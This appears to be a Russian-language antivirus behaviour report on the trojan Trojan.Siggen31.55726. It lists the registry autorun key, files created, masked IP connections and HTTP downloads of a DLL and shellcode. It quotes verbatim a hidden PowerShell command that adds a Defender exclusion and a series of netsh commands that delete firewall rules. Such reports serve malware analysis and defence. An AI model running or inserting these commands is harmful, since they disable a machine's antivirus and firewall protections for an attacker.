Trojan.Siggen31.55726

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'Systemap0' = '%APPDATA%\Microsoft\RuntimeBroker\RuntimeBroker.exe'

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "Add-MpPreference -ExclusionPath '%APPDATA%\Microsoft\RuntimeBroker' -Force"

Внедряет код в

следующие системные процессы:

<SYSTEM32>\svchost.exe

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\microsoft\runtimebroker\runtimebroker.exe
%APPDATA%\microsoft\runtimebroker\active_desktop_render_x64.dll
%ALLUSERSPROFILE%\316c34e7121164\db
%ALLUSERSPROFILE%\displaysession.dat
%ALLUSERSPROFILE%\316c34e7121164\pl
%WINDIR%\temp\__psscriptpolicytest_bftu420h.tlu.ps1
%WINDIR%\temp\__psscriptpolicytest_bbali1ko.3o5.psm1
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-20-579.dump
nul
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-21-905.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-22-194.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-23-373.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-23-940.dump
%WINDIR%\temp\__psscriptpolicytest_zr14a1b1.3t4.ps1
%WINDIR%\temp\__psscriptpolicytest_d3nytwju.vaa.psm1
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-25-482.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-25-637.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-26-133.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-26-540.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-27-067.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-27-259.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-27-470.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-27-578.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-27-620.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-27-654.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-27-686.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-27-728.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-27-799.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-28-752.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-28-815.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-28-847.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-28-857.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-28-897.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-28-962.dump
%WINDIR%\temp\content\3628-4268-powershell.exe-21-07-29-033.dump
<SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive

Сетевая активность

Подключается к

'14#.#2.51.20':80
'27.#24.4.6':80
'14#.#2.35.75':443
'13#.#22.196.113':443

TCP

Запросы HTTP GET

http://14#.#2.51.20/active_desktop_render_x64.dll
http://14#.#2.51.20/shellcode.bin

Другое

Создает и запускает на исполнение

'%APPDATA%\microsoft\runtimebroker\runtimebroker.exe'

Запускает на исполнение

'<SYSTEM32>\svchost.exe'
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall delete rule name=all protocol=tcp remoteip=27.#24.4.6 localport=80 >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall delete rule name=all protocol=any remoteip=27.#24.4.6 >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall delete rule name=all protocol=TCP remoteport=80 >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall delete rule name=all protocol=tcp remoteip=14#.#2.35.75 localport=443 >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall delete rule name=all protocol=any remoteip=14#.#2.35.75 >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall delete rule name=all protocol=TCP remoteport=443 >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall delete rule name=all protocol=tcp remoteip=13#.#22.196.113 localport=443 >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall delete rule name=all protocol=any remoteip=13#.#22.196.113 >nul 2>&1 (со скрытым окном)
'<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name=all protocol=tcp remoteip=27.#24.4.6 localport=80
'<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name=all protocol=TCP remoteport=443
'<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name=all protocol=tcp remoteip=13#.#22.196.113 localport=443
'<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name=all protocol=tcp remoteip=14#.#2.35.75 localport=443
'<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name=all protocol=any remoteip=27.#24.4.6
'<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name=all protocol=TCP remoteport=80
'<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name=all protocol=any remoteip=13#.#22.196.113
'<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name=all protocol=any remoteip=14#.#2.35.75
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "Add-MpPreference -ExclusionPath '%APPDATA%\Microsoft\RuntimeBroker' -Force" (со скрытым окном)